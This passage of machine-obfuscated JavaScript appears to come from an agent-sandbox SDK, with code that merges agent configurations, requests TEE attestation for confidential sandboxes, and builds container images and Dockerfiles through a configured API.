_0x54e6cd??_0x4f6459;},'\x6d\x6e\x58\x66\x6d':function(_0x14665c,_0x4c1de7,_0xe0049){return _0x14665c(_0x4c1de7,_0xe0049);},'\x43\x55\x4d\x57\x78':function(_0x1b6707,_0x573523,_0x931b7b){return _0x1b6707(_0x573523,_0x931b7b);},'\x6a\x6e\x66\x56\x52':function(_0x58f97f,_0x1c613a,_0x241f94){return _0x58f97f(_0x1c613a,_0x241f94);},'\x50\x78\x45\x75\x6f':function(_0x22a898,_0x522fc9,_0x54ba33){return _0x22a898(_0x522fc9,_0x54ba33);}};if(_0x4a990d[_0x1f3cb3(0x28c)](!_0x49c418,!_0x52128b))return void 0x0;const _0x47f04a=_0x49c418?.[_0x1f3cb3(0x21d)]||_0x52128b?.[_0x1f3cb3(0x21d)]?{..._0x49c418?.[_0x1f3cb3(0x21d)]??{},..._0x52128b?.[_0x1f3cb3(0x21d)]??{},'\x69\x6e\x73\x74\x72\x75\x63\x74\x69\x6f\x6e\x73':_0x4a990d[_0x1f3cb3(0x1d7)](mergeStringArrays,_0x49c418?.[_0x1f3cb3(0x21d)]?.[_0x1f3cb3(0x1cb)],_0x52128b?.[_0x1f3cb3(0x21d)]?.[_0x1f3cb3(0x1cb)])}:void 0x0,_0x5277f4=_0x49c418?.[_0x1f3cb3(0x22f)]||_0x52128b?.[_0x1f3cb3(0x22f)]?{..._0x49c418?.[_0x1f3cb3(0x22f)]??{},..._0x52128b?.[_0x1f3cb3(0x22f)]??{},'\x66\x69\x6c\x65\x73':[..._0x49c418?.[_0x1f3cb3(0x22f)]?.[_0x1f3cb3(0x1c2)]??[],..._0x52128b?.['\x72\x65\x73\x6f\x75\x72\x63\x65\x73']?.[_0x1f3cb3(0x1c2)]??[]],'\x74\x6f\x6f\x6c\x73':[..._0x49c418?.[_0x1f3cb3(0x22f)]?.[_0x1f3cb3(0x20d)]??[],..._0x52128b?.[_0x1f3cb3(0x22f)]?.[_0x1f3cb3(0x20d)]??[]],'\x73\x6b\x69\x6c\x6c\x73':[..._0x49c418?.[_0x1f3cb3(0x22f)]?.[_0x1f3cb3(0x1ba)]??[],..._0x52128b?.[_0x1f3cb3(0x22f)]?.['\x73\x6b\x69\x6c\x6c\x73']??[]],'\x61\x67\x65\x6e\x74\x73':[..._0x49c418?.[_0x1f3cb3(0x22f)]?.[_0x1f3cb3(0x1af)]??[],..._0x52128b?.[_0x1f3cb3(0x22f)]?.[_0x1f3cb3(0x1af)]??[]],'\x63\x6f\x6d\x6d\x61\x6e\x64\x73':[..._0x49c418?.['\x72\x65\x73\x6f\x75\x72\x63\x65\x73']?.[_0x1f3cb3(0x242)]??[],..._0x52128b?.[_0x1f3cb3(0x22f)]?.[_0x1f3cb3(0x242)]??[]],'\x69\x6e\x73\x74\x72\x75\x63\x74\x69\x6f\x6e\x73':_0x52128b?.[_0x1f3cb3(0x22f)]?.[_0x1f3cb3(0x1cb)]??_0x49c418?.[_0x1f3cb3(0x22f)]?.[_0x1f3cb3(0x1cb)]}:void 0x0;return{..._0x4a990d['\x48\x72\x46\x4f\x4a'](_0x49c418,{}),..._0x4a990d['\x48\x72\x46\x4f\x4a'](_0x52128b,{}),'\x70\x72\x6f\x6d\x70\x74':_0x47f04a,'\x70\x65\x72\x6d\x69\x73\x73\x69\x6f\x6e\x73':mergeRecord(_0x49c418?.[_0x1f3cb3(0x25d)],_0x52128b?.[_0x1f3cb3(0x25d)]),'\x74\x6f\x6f\x6c\x73':mergeRecord(_0x49c418?.[_0x1f3cb3(0x20d)],_0x52128b?.[_0x1f3cb3(0x20d)]),'\x6d\x63\x70':mergeRecord(_0x49c418?.[_0x1f3cb3(0x1ff)],_0x52128b?.[_0x1f3cb3(0x1ff)]),'\x73\x75\x62\x61\x67\x65\x6e\x74\x73':_0x4a990d[_0x1f3cb3(0x288)](mergeRecord,_0x49c418?.[_0x1f3cb3(0x1ca)],_0x52128b?.[_0x1f3cb3(0x1ca)]),'\x72\x65\x73\x6f\x75\x72\x63\x65\x73':_0x5277f4,'\x68\x6f\x6f\x6b\x73':_0x4a990d[_0x1f3cb3(0x238)](mergeRecord,_0x49c418?.[_0x1f3cb3(0x297)],_0x52128b?.[_0x1f3cb3(0x297)]),'\x6d\x6f\x64\x65\x73':_0x4a990d[_0x1f3cb3(0x24a)](mergeRecord,_0x49c418?.[_0x1f3cb3(0x200)],_0x52128b?.[_0x1f3cb3(0x200)]),'\x6d\x65\x74\x61\x64\x61\x74\x61':_0x4a990d['\x6d\x6e\x58\x66\x6d'](mergeRecord,_0x49c418?.['\x6d\x65\x74\x61\x64\x61\x74\x61'],_0x52128b?.[_0x1f3cb3(0x293)]),'\x65\x78\x74\x65\x6e\x73\x69\x6f\x6e\x73':_0x4a990d[_0x1f3cb3(0x24c)](mergeRecord,_0x49c418?.[_0x1f3cb3(0x283)],_0x52128b?.[_0x1f3cb3(0x283)])};}function a0_0x20fb(_0x21de38,_0x30c47a){_0x21de38=_0x21de38-0x1ac;const _0x58e0c5=a0_0x58e0();let _0x20fb9d=_0x58e0c5[_0x21de38];if(a0_0x20fb['\x77\x42\x42\x78\x4e\x64']===undefined){var _0x118ca1=function(_0x2f5915){const _0x1a988f='\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';let _0x4f9310='',_0x34a9cb='';for(let _0x33dd90=0x0,_0x1e94b6,_0x362e79,_0x4dc9d4=0x0;_0x362e79=_0x2f5915['\x63\x68\x61\x72\x41\x74'](_0x4dc9d4++);~_0x362e79&&(_0x1e94b6=_0x33dd90%0x4?_0x1e94b6*0x40+_0x362e79:_0x362e79,_0x33dd90++%0x4)?_0x4f9310+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](0xff&_0x1e94b6>>(-0x2*_0x33dd90&0x6)):0x0){_0x362e79=_0x1a988f['\x69\x6e\x64\x65\x78\x4f\x66'](_0x362e79);}for(let _0x5775e0=0x0,_0x45933b=_0x4f9310['\x6c\x65\x6e\x67\x74\x68'];_0x5775e0<_0x45933b;_0x5775e0++){_0x34a9cb+='\x25'+('\x30\x30'+_0x4f9310['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x5775e0)['\x74\x6f\x53\x74\x72\x69\x6e\x67'](0x10))['\x73\x6c\x69\x63\x65'](-0x2);}return decodeURIComponent(_0x34a9cb);};a0_0x20fb['\x6b\x5a\x46\x4f\x75\x44']=_0x118ca1,a0_0x20fb['\x43\x6a\x67\x58\x79\x74']={},a0_0x20fb['\x77\x42\x42\x78\x4e\x64']=!![];}const _0x3ebe29=_0x58e0c5[0x0],_0x369b5f=_0x21de38+_0x3ebe29,_0x2a07de=a0_0x20fb['\x43\x6a\x67\x58\x79\x74'][_0x369b5f];return!_0x2a07de?(_0x20fb9d=a0_0x20fb['\x6b\x5a\x46\x4f\x75\x44'](_0x20fb9d),a0_0x20fb['\x43\x6a\x67\x58\x79\x74'][_0x369b5f]=_0x20fb9d):_0x20fb9d=_0x2a07de,_0x20fb9d;}function generateAttestationNonce(_0x5a00c0=0x20){const _0x3bc36b=a0_0x20fb,_0x8ac205=new Uint8Array(_0x5a00c0);if(typeof globalThis[_0x3bc36b(0x280)]!==_0x3bc36b(0x215)&&typeof globalThis[_0x3bc36b(0x280)][_0x3bc36b(0x227)]===_0x3bc36b(0x243))globalThis[_0x3bc36b(0x280)]['\x67\x65\x74\x52\x61\x6e\x64\x6f\x6d\x56\x61\x6c\x75\x65\x73'](_0x8ac205);else throw new Error(_0x3bc36b(0x1b8));return Array[_0x3bc36b(0x1de)](_0x8ac205)[_0x3bc36b(0x1da)](_0x5e4b30=>_0x5e4b30[_0x3bc36b(0x24f)](0x10)[_0x3bc36b(0x1d4)](0x2,'\x30'))[_0x3bc36b(0x1e4)]('');}async function createConfidentialSandbox(_0x5f51c6,_0x1f33d1){const _0x27c7a6=a0_0x20fb,_0x4e7aee={'\x47\x58\x62\x69\x6b':function(_0x529a43){return _0x529a43();},'\x54\x6e\x71\x62\x78':function(_0x260915,_0x4b2249){return _0x260915(_0x4b2249);}},_0x492c33=_0x1f33d1[_0x27c7a6(0x254)]===_0x27c7a6(0x260)||_0x1f33d1[_0x27c7a6(0x1c6)]&&!_0x1f33d1[_0x27c7a6(0x254)]&&!_0x1f33d1[_0x27c7a6(0x257)][_0x27c7a6(0x254)]?_0x4e7aee[_0x27c7a6(0x1f9)](generateAttestationNonce):_0x1f33d1[_0x27c7a6(0x254)]??_0x1f33d1[_0x27c7a6(0x257)][_0x27c7a6(0x254)],_0x2de46e=await _0x5f51c6[_0x27c7a6(0x22d)]({..._0x1f33d1,'\x63\x6f\x6e\x66\x69\x64\x65\x6e\x74\x69\x61\x6c':{..._0x1f33d1[_0x27c7a6(0x257)],..._0x492c33?{'\x61\x74\x74\x65\x73\x74\x61\x74\x69\x6f\x6e\x4e\x6f\x6e\x63\x65':_0x492c33}:{},'\x61\x74\x74\x65\x73\x74\x61\x74\x69\x6f\x6e\x52\x65\x66\x72\x65\x73\x68':_0x1f33d1['\x63\x6f\x6e\x66\x69\x64\x65\x6e\x74\x69\x61\x6c'][_0x27c7a6(0x27c)]||Boolean(_0x492c33)}});let _0x4b5173=_0x4e7aee[_0x27c7a6(0x23d)](attestationFromMetadata,_0x2de46e[_0x27c7a6(0x293)]);if(!_0x4b5173)try{_0x4b5173=(await _0x2de46e[_0x27c7a6(0x1ad)](_0x492c33?{'\x61\x74\x74\x65\x73\x74\x61\x74\x69\x6f\x6e\x4e\x6f\x6e\x63\x65':_0x492c33}:void 0x0))['\x61\x74\x74\x65\x73\x74\x61\x74\x69\x6f\x6e'];}catch(_0x3a4dc6){if(_0x1f33d1[_0x27c7a6(0x1c6)])throw _0x3a4dc6;}if(_0x1f33d1[_0x27c7a6(0x1c6)]&&!_0x4b5173)throw new Error(_0x27c7a6(0x1b6));return{'\x73\x61\x6e\x64\x62\x6f\x78':_0x2de46e,'\x61\x74\x74\x65\x73\x74\x61\x74\x69\x6f\x6e':_0x4b5173,'\x61\x74\x74\x65\x73\x74\x61\x74\x69\x6f\x6e\x4e\x6f\x6e\x63\x65':_0x492c33};}function attestationFromMetadata(_0x4e8bc7){const _0x3a8f4b=a0_0x20fb,_0x1823f7={'\x68\x4e\x79\x50\x67':function(_0x1f32b8,_0x27e467){return _0x1f32b8!==_0x27e467;},'\x78\x74\x76\x6f\x6f':'\x73\x74\x72\x69\x6e\x67'},_0x591989=_0x4e8bc7?.[_0x3a8f4b(0x1cd)];if(_0x1823f7[_0x3a8f4b(0x28d)](typeof _0x591989,_0x1823f7[_0x3a8f4b(0x1ae)])||_0x591989[_0x3a8f4b(0x1f0)]()==='')return void 0x0;try{return JSON['\x70\x61\x72\x73\x65'](_0x591989);}catch{return;}}function startTeeAttestationHeartbeat(_0x4c92fa,_0x33b6b3={}){const _0x5a2548=a0_0x20fb,_0x3e6ba5={'\x51\x52\x55\x68\x52':'\x54\x45\x45\x20\x61\x74\x74\x65\x73\x74\x61\x74\x69\x6f\x6e\x20\x72\x65\x73\x70\x6f\x6e\x73\x65\x20\x6e\x6f\x6e\x63\x65\x20\x64\x69\x64\x20\x6e\x6f\x74\x20\x6d\x61\x74\x63\x68\x20\x63\x68\x61\x6c\x6c\x65\x6e\x67\x65','\x73\x48\x70\x49\x67':function(_0x263047){return _0x263047();},'\x67\x61\x7a\x63\x6a':function(_0x12b9e0){return _0x12b9e0();},'\x62\x55\x56\x64\x44':_0x5a2548(0x20b),'\x73\x71\x6f\x4e\x55':function(_0x14cd8b,_0x2e6718){return _0x14cd8b===_0x2e6718;}},_0x1336dc=_0x33b6b3[_0x5a2548(0x1c1)]??0xea60;let _0xb6ad92=![],_0x5105b3=0x0,_0x173036=0x0,_0x72580,_0x458b8a,_0x44f158;const _0x3f45cc=new Promise(_0x5857f3=>{_0x44f158=_0x5857f3;}),_0x498af8=()=>{if(_0xb6ad92)return;_0xb6ad92=!![];if(_0x458b8a)clearTimeout(_0x458b8a);_0x44f158?.();},_0x125e4e=async()=>{const _0x49b624=_0x5a2548;if(_0xb6ad92||_0x33b6b3['\x73\x69\x67\x6e\x61\x6c']?.[_0x49b624(0x21b)])throw new Error(_0x49b624(0x236));const _0x14f7d2=generateAttestationNonce(),_0x4f1b78=await _0x4c92fa[_0x49b624(0x1ad)]({'\x61\x74\x74\x65\x73\x74\x61\x74\x69\x6f\x6e\x4e\x6f\x6e\x63\x65':_0x14f7d2});if(_0x4f1b78[_0x49b624(0x254)]&&_0x4f1b78[_0x49b624(0x254)]!==_0x14f7d2)throw new Error(_0x3e6ba5[_0x49b624(0x23e)]);const _0x196eb4={'\x73\x65\x71\x75\x65\x6e\x63\x65':++_0x173036,'\x6e\x6f\x6e\x63\x65':_0x14f7d2,'\x72\x65\x73\x70\x6f\x6e\x73\x65':{..._0x4f1b78,'\x61\x74\x74\x65\x73\x74\x61\x74\x69\x6f\x6e\x4e\x6f\x6e\x63\x65':_0x4f1b78['\x61\x74\x74\x65\x73\x74\x61\x74\x69\x6f\x6e\x4e\x6f\x6e\x63\x65']??_0x14f7d2},'\x63\x68\x65\x63\x6b\x65\x64\x41\x74':new Date()};return await _0x33b6b3['\x76\x65\x72\x69\x66\x79']?.(_0x196eb4),_0x72580=_0x196eb4,_0x33b6b3[_0x49b624(0x25b)]?.(_0x196eb4),_0x196eb4;},_0x2a3cce=()=>{const _0x2a481f=_0x5a2548;if(_0xb6ad92||_0x33b6b3['\x73\x69\x67\x6e\x61\x6c']?.[_0x2a481f(0x21b)]){_0x498af8();return;}_0x458b8a=setTimeout(()=>{_0x1d75cf();},_0x1336dc);},_0x1d75cf=async()=>{const _0x451bb7=_0x5a2548;try{await _0x3e6ba5[_0x451bb7(0x299)](_0x125e4e),_0x3e6ba5['\x67\x61\x7a\x63\x6a'](_0x2a3cce);}catch(_0x4fd1ba){_0x5105b3+=0x1,_0x33b6b3[_0x451bb7(0x273)]?.(_0x4fd1ba);if(_0x33b6b3['\x63\x6f\x6e\x74\x69\x6e\x75\x65\x4f\x6e\x46\x61\x69\x6c\x75\x72\x65'])_0x3e6ba5['\x67\x61\x7a\x63\x6a'](_0x2a3cce);else _0x498af8();}};_0x33b6b3[_0x5a2548(0x2a7)]?.['\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72'](_0x3e6ba5['\x62\x55\x56\x64\x44'],_0x498af8,{'\x6f\x6e\x63\x65':!![]});if(_0x3e6ba5[_0x5a2548(0x1ed)](_0x33b6b3[_0x5a2548(0x1c5)],![]))_0x2a3cce();else _0x1d75cf();return{'\x73\x74\x6f\x70':_0x498af8,'\x70\x69\x6e\x67':_0x125e4e,get '\x73\x74\x6f\x70\x70\x65\x64'(){return _0xb6ad92;},get '\x66\x61\x69\x6c\x75\x72\x65\x73'(){return _0x5105b3;},get '\x6c\x61\x74\x65\x73\x74'(){return _0x72580;},'\x64\x6f\x6e\x65':_0x3f45cc};}var Image=class Image{constructor(_0x5ebc31,_0x284692,_0x442eae,_0x9ce276){const _0x1e8a61=a0_0x20fb;this['\x69\x64']=_0x5ebc31,this[_0x1e8a61(0x220)]=_0x284692,this[_0x1e8a61(0x1d3)]=_0x442eae,this[_0x1e8a61(0x287)]=_0x9ce276;}static[a0_0x57260e(0x22d)](_0x346986=a0_0x57260e(0x1f3)){return new ImageBuilder({'\x62\x61\x73\x65\x49\x6d\x61\x67\x65':_0x346986});}static[a0_0x57260e(0x281)](_0x2130c2){const _0x42bcb7=a0_0x57260e,_0x50cce9={'\x50\x50\x4d\x67\x59':_0x42bcb7(0x258)};return new Image(_0x2130c2,_0x2130c2['\x73\x74\x61\x72\x74\x73\x57\x69\x74\x68'](_0x50cce9['\x50\x50\x4d\x67\x59'])?_0x42bcb7(0x1bf)+_0x2130c2['\x73\x6c\x69\x63\x65'](0x7,0x13):_0x2130c2,_0x2130c2);}static[a0_0x57260e(0x1dc)](_0x39e47e,_0x43f42b){return new ImageBuilder({'\x62\x61\x73\x65\x49\x6d\x61\x67\x65':'\x73\x63\x72\x61\x74\x63\x68','\x64\x6f\x63\x6b\x65\x72\x66\x69\x6c\x65':_0x39e47e,'\x64\x6f\x63\x6b\x65\x72\x43\x6f\x6e\x74\x65\x78\x74':_0x43f42b||'\x2e'});}static[a0_0x57260e(0x1fd)](_0x176748){const _0x1ae013=a0_0x57260e;return new Image(_0x176748['\x69\x64'],_0x176748[_0x1ae013(0x220)],_0x176748[_0x1ae013(0x1d3)],_0x176748[_0x1ae013(0x287)]);}['\x74\x6f\x4a\x53\x4f\x4e'](){const _0x4911f6=a0_0x57260e;return{'\x69\x64':this['\x69\x64'],'\x74\x61\x67':this[_0x4911f6(0x220)],'\x64\x69\x67\x65\x73\x74':this[_0x4911f6(0x1d3)],'\x73\x70\x65\x63':this[_0x4911f6(0x287)]};}},ImageBuilder=class{['\x73\x70\x65\x63'];[a0_0x57260e(0x28f)];constructor(_0x4380ba){const _0x3fdef7=a0_0x57260e,_0xb08347={'\x49\x43\x70\x50\x66':'\x75\x62\x75\x6e\x74\x75\x3a\x32\x32\x2e\x30\x34'};this[_0x3fdef7(0x287)]={'\x62\x61\x73\x65\x49\x6d\x61\x67\x65':_0x4380ba[_0x3fdef7(0x278)]||_0xb08347[_0x3fdef7(0x290)],..._0x4380ba};}[a0_0x57260e(0x1e0)](_0x505059){const _0x5df4a6=a0_0x57260e;return this[_0x5df4a6(0x287)][_0x5df4a6(0x23a)]=_0x505059,this;}[a0_0x57260e(0x218)](_0x28f243){const _0x1e234d=a0_0x57260e;return this[_0x1e234d(0x287)]['\x70\x61\x63\x6b\x61\x67\x65\x73']=[...this['\x73\x70\x65\x63'][_0x1e234d(0x226)]||[],..._0x28f243],this;}['\x61\x64\x64\x50\x61\x63\x6b\x61\x67\x65\x73\x46\x72\x6f\x6d\x46\x69\x6c\x65'](_0x2f1b26){const _0x5d4c71=a0_0x57260e;return this['\x73\x70\x65\x63']['\x63\x6f\x6d\x6d\x61\x6e\x64\x73']=[...this[_0x5d4c71(0x287)][_0x5d4c71(0x242)]||[],_0x5d4c71(0x21a)+_0x2f1b26],this;}['\x61\x64\x64\x43\x6f\x6d\x6d\x61\x6e\x64\x73'](_0x418c23){const _0x3d0d72=a0_0x57260e;return this[_0x3d0d72(0x287)][_0x3d0d72(0x242)]=[...this['\x73\x70\x65\x63']['\x63\x6f\x6d\x6d\x61\x6e\x64\x73']||[],..._0x418c23],this;}['\x61\x64\x64\x41\x70\x74\x50\x61\x63\x6b\x61\x67\x65\x73'](_0x24e553){const _0x27fd96=a0_0x57260e;return this[_0x27fd96(0x287)][_0x27fd96(0x262)]=[...this[_0x27fd96(0x287)]['\x61\x70\x74\x50\x61\x63\x6b\x61\x67\x65\x73']||[],..._0x24e553],this;}[a0_0x57260e(0x282)](_0x53e923){const _0x422ed0=a0_0x57260e;return this[_0x422ed0(0x287)][_0x422ed0(0x228)]={...this['\x73\x70\x65\x63']['\x65\x6e\x76'],..._0x53e923},this;}[a0_0x57260e(0x20c)](_0x2fc99b){const _0x1e1c87=a0_0x57260e;return this[_0x1e1c87(0x287)]['\x73\x65\x63\x72\x65\x74\x73']=[...this[_0x1e1c87(0x287)][_0x1e1c87(0x296)]||[],..._0x2fc99b],this;}['\x63\x6f\x6e\x64\x61'](_0x35346a,_0x79fae9){const _0x4df51a=a0_0x57260e;return this['\x73\x70\x65\x63'][_0x4df51a(0x2a2)]={'\x70\x61\x63\x6b\x61\x67\x65\x73':[...this[_0x4df51a(0x287)][_0x4df51a(0x2a2)]?.[_0x4df51a(0x226)]||[],..._0x35346a],'\x63\x68\x61\x6e\x6e\x65\x6c\x73':_0x79fae9||this[_0x4df51a(0x287)][_0x4df51a(0x2a2)]?.[_0x4df51a(0x259)]||['\x63\x6f\x6e\x64\x61\x2d\x66\x6f\x72\x67\x65']},this;}[a0_0x57260e(0x27b)](_0x1b11b7){const _0x131c10=a0_0x57260e;return this[_0x131c10(0x287)][_0x131c10(0x27b)]=_0x1b11b7,this;}['\x75\x73\x65\x72'](_0x2ad17f){const _0x478808=a0_0x57260e;return this[_0x478808(0x287)][_0x478808(0x25f)]=_0x2ad17f,this;}['\x62\x75\x69\x6c\x64\x41\x72\x67\x73'](_0x5e8f06){const _0x681dae=a0_0x57260e;return this['\x73\x70\x65\x63'][_0x681dae(0x292)]={...this[_0x681dae(0x287)][_0x681dae(0x292)],..._0x5e8f06},this;}[a0_0x57260e(0x252)](_0xf1fe8f){const _0x51a8e9=a0_0x57260e;return this[_0x51a8e9(0x287)][_0x51a8e9(0x252)]={...this[_0x51a8e9(0x287)][_0x51a8e9(0x252)],..._0xf1fe8f},this;}[a0_0x57260e(0x250)](){const _0x1e52a3=a0_0x57260e;return{...this[_0x1e52a3(0x287)]};}async[a0_0x57260e(0x241)](){const _0x4e305e=a0_0x57260e,_0x3183db={'\x77\x6f\x64\x52\x49':_0x4e305e(0x207),'\x6f\x6e\x62\x73\x7a':_0x4e305e(0x271)},_0x3450a1=JSON[_0x4e305e(0x272)](this['\x73\x70\x65\x63'],Object[_0x4e305e(0x1c3)](this[_0x4e305e(0x287)])[_0x4e305e(0x209)]()),_0x363582=globalThis[_0x4e305e(0x280)]?.[_0x4e305e(0x204)];if(_0x363582){const _0x2ba8ac=await _0x363582['\x64\x69\x67\x65\x73\x74']('\x53\x48\x41\x2d\x32\x35\x36',new TextEncoder()[_0x4e305e(0x24e)](_0x3450a1));return Array[_0x4e305e(0x1de)](new Uint8Array(_0x2ba8ac))[_0x4e305e(0x1da)](_0x369881=>_0x369881[_0x4e305e(0x24f)](0x10)[_0x4e305e(0x1d4)](0x2,'\x30'))[_0x4e305e(0x1e4)]('');}const {createHash:_0x4c46f2}=await import(_0x4e305e(0x1db));return _0x4c46f2(_0x3183db['\x77\x6f\x64\x52\x49'])['\x75\x70\x64\x61\x74\x65'](_0x3450a1)['\x64\x69\x67\x65\x73\x74'](_0x3183db[_0x4e305e(0x26f)]);}[a0_0x57260e(0x222)](_0x12ad42){const _0x4a51e0=a0_0x57260e;return this[_0x4a51e0(0x28f)]=_0x12ad42,this;}async[a0_0x57260e(0x1e3)](_0x549a13){const _0x393801=a0_0x57260e,_0x520109={'\x79\x62\x46\x6e\x45':function(_0x1e90f0,_0x249fd4,_0x374326){return _0x1e90f0(_0x249fd4,_0x374326);},'\x48\x41\x6c\x75\x73':_0x393801(0x213),'\x50\x51\x57\x56\x57':_0x393801(0x265),'\x51\x55\x49\x77\x53':_0x393801(0x29a),'\x74\x52\x6a\x6b\x61':function(_0x155b80,_0x314293){return _0x155b80===_0x314293;},'\x50\x58\x57\x6b\x54':function(_0x4baa64,_0x5e6383){return _0x4baa64 instanceof _0x5e6383;},'\x6f\x69\x6d\x53\x69':_0x393801(0x264)},_0x449b7b=_0x549a13?.[_0x393801(0x25c)]||this[_0x393801(0x28f)];if(!_0x449b7b)throw new Error(_0x393801(0x20f));const _0x3c8e19=await _0x520109[_0x393801(0x2a0)](fetch,_0x449b7b[_0x393801(0x284)]+'\x2f\x76\x31\x2f\x69\x6d\x61\x67\x65\x73',{'\x6d\x65\x74\x68\x6f\x64':_0x520109[_0x393801(0x1ec)],'\x68\x65\x61\x64\x65\x72\x73':{'\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65':_0x520109[_0x393801(0x1dd)],'\x41\x75\x74\x68\x6f\x72\x69\x7a\x61\x74\x69\x6f\x6e':_0x393801(0x2a5)+_0x449b7b[_0x393801(0x28a)]},'\x62\x6f\x64\x79':JSON[_0x393801(0x272)]({'\x73\x70\x65\x63':this['\x73\x70\x65\x63'],'\x6f\x70\x74\x69\x6f\x6e\x73':{'\x6e\x6f\x43\x61\x63\x68\x65':_0x549a13?.[_0x393801(0x29b)],'\x70\x6c\x61\x74\x66\x6f\x72\x6d':_0x549a13?.[_0x393801(0x266)],'\x74\x61\x67':_0x549a13?.['\x74\x61\x67'],'\x73\x74\x72\x65\x61\x6d':!!_0x549a13?.[_0x393801(0x276)]}})});if(!_0x3c8e19['\x6f\x6b']){const _0x44980e=await _0x3c8e19[_0x393801(0x1fc)]();throw new Error(_0x393801(0x256)+_0x44980e);}if(_0x549a13?.[_0x393801(0x276)]&&_0x3c8e19['\x68\x65\x61\x64\x65\x72\x73']['\x67\x65\x74']('\x63\x6f\x6e\x74\x65\x6e\x74\x2d\x74\x79\x70\x65')?.[_0x393801(0x1e7)](_0x520109[_0x393801(0x1df)])){const _0x575e56=_0x3c8e19[_0x393801(0x1cf)]?.[_0x393801(0x203)]();if(_0x575e56){const _0x2bda6f=new TextDecoder();let _0x161aca;while(!![]){const {done:_0x4c5457,value:_0xfd95b3}=await _0x575e56[_0x393801(0x1d0)]();if(_0x4c5457)break;const _0x22d66f=_0x2bda6f[_0x393801(0x1f6)](_0xfd95b3)['\x73\x70\x6c\x69\x74']('\x0a')[_0x393801(0x1ac)](_0x3b854f=>_0x3b854f[_0x393801(0x22c)]('\x64\x61\x74\x61\x3a\x20'));for(const _0x31e6c6 of _0x22d66f)try{const _0x8b502b=JSON[_0x393801(0x201)](_0x31e6c6['\x73\x6c\x69\x63\x65'](0x6));if(_0x8b502b[_0x393801(0x223)]==='\x70\x72\x6f\x67\x72\x65\x73\x73')_0x549a13[_0x393801(0x276)](_0x8b502b[_0x393801(0x212)]);else{if(_0x8b502b['\x74\x79\x70\x65']===_0x393801(0x2a3))_0x161aca={..._0x8b502b[_0x393801(0x26a)],'\x63\x72\x65\x61\x74\x65\x64\x41\x74':new Date(_0x8b502b[_0x393801(0x26a)][_0x393801(0x1f7)])};else{if(_0x520109[_0x393801(0x234)](_0x8b502b['\x74\x79\x70\x65'],_0x393801(0x21e)))throw new Error(_0x8b502b[_0x393801(0x20e)]);}}}catch(_0x2cbf7a){if(_0x520109[_0x393801(0x245)](_0x2cbf7a,SyntaxError))continue;throw _0x2cbf7a;}}if(!_0x161aca)throw new Error(_0x520109[_0x393801(0x26d)]);return Image[_0x393801(0x1fd)](_0x161aca);}}const _0x49ddbe=await _0x3c8e19[_0x393801(0x233)](),_0x184e3d={..._0x49ddbe,'\x63\x72\x65\x61\x74\x65\x64\x41\x74':new Date(_0x49ddbe[_0x393801(0x1f7)])};return Image[_0x393801(0x1fd)](_0x184e3d);}['\x67\x65\x6e\x65\x72\x61\x74\x65\x44\x6f\x63\x6b\x65\x72\x66\x69\x6c\x65'](){const _0x918fdc=a0_0x57260e;return generateDockerfile(this[_0x918fdc(0x287)]);}};function generateDockerfile(_0x4bb6c0){const _0x36017e=a0_0x57260e,_0x2e5be7={'\x4a\x5a\x79\x48\x68':function(_0x1ea110,_0x4f7d36){return _0x1ea110>_0x4f7d36;},'\x42\x64\x63\x4d\x46':'\x20\x20\x20\x20\x61\x70\x74\x2d\x67\x65\x74\x20\x63\x6c\x65\x61\x6e\x20\x26\x26\x20\x72\x6d\x20\x2d\x72\x66\x20\x2f\x76\x61\x72\x2f\x6c\x69\x62\x2f\x61\x70\x74\x2f\x6c\x69\x73\x74\x73\x2f\x2a','\x61\x4f\x53\x78\x70':'\x70\x79\x74\x68\x6f\x6e','\x4f\x4e\x44\x58\x42':_0x36017e(0x1e1),'\x4d\x73\x71\x6a\x45':_0x36017e(0x244),'\x61\x72\x49\x45\x45':function(_0x535f58,_0x25a9b9){return _0x535f58>_0x25a9b9;},'\x54\x75\x72\x77\x6e':'\x23\x20\x49\x6e\x73\x74\x61\x6c\x6c\x20\x6d\x69\x63\x72\x6f\x6d\x61\x6d\x62\x61\x20\x61\x6e\x64\x20\x63\x6f\x6e\x64\x61\x20\x70\x61\x63\x6b\x61\x67\x65\x73','\x6b\x74\x70\x50\x6d':_0x36017e(0x214),'\x75\x57\x55\x79\x41':'\x20\x20\x20\x20\x6d\x69\x63\x72\x6f\x6d\x61\x6d\x62\x61\x20\x73\x68\x65\x6c\x6c\x20\x69\x6e\x69\x74\x20\x2d\x73\x20\x62\x61\x73\x68\x20\x2d\x70\x20\x2f\x6f\x70\x74\x2f\x63\x6f\x6e\x64\x61','\x72\x7a\x59\x55\x67':'\x63\x6f\x6e\x64\x61\x2d\x66\x6f\x72\x67\x65','\x4d\x5a\x69\x58\x6e':_0x36017e(0x23c),'\x7a\x5a\x52\x46\x6f':_0x36017e(0x202)},_0x118f5e=[];_0x118f5e[_0x36017e(0x1b5)](_0x36017e(0x248)+_0x4bb6c0[_0x36017e(0x278)]),_0x118f5e[_0x36017e(0x1b5)]('');if(_0x4bb6c0[_0x36017e(0x252)]&&_0x2e5be7['\x4a\x5a\x79\x48\x68'](Object[_0x36017e(0x1c3)](_0x4bb6c0['\x6c\x61\x62\x65\x6c\x73'])[_0x36017e(0x24b)],0x0)){for(const [_0x2a6964,_0x5bbc2e]of Object[_0x36017e(0x2a1)](_0x4bb6c0[_0x36017e(0x252)]))_0x118f5e['\x70\x75\x73\x68'](_0x36017e(0x27f)+_0x2a6964+'\x3d\x22'+_0x5bbc2e+'\x22');_0x118f5e['\x70\x75\x73\x68']('');}if(_0x4bb6c0['\x62\x75\x69\x6c\x64\x41\x72\x67\x73']&&_0x2e5be7['\x4a\x5a\x79\x48\x68'](Object[_0x36017e(0x1c3)](_0x4bb6c0['\x62\x75\x69\x6c\x64\x41\x72\x67\x73'])[_0x36017e(0x24b)],0x0)){for(const [_0x1b4d23,_0x28c7f5]of 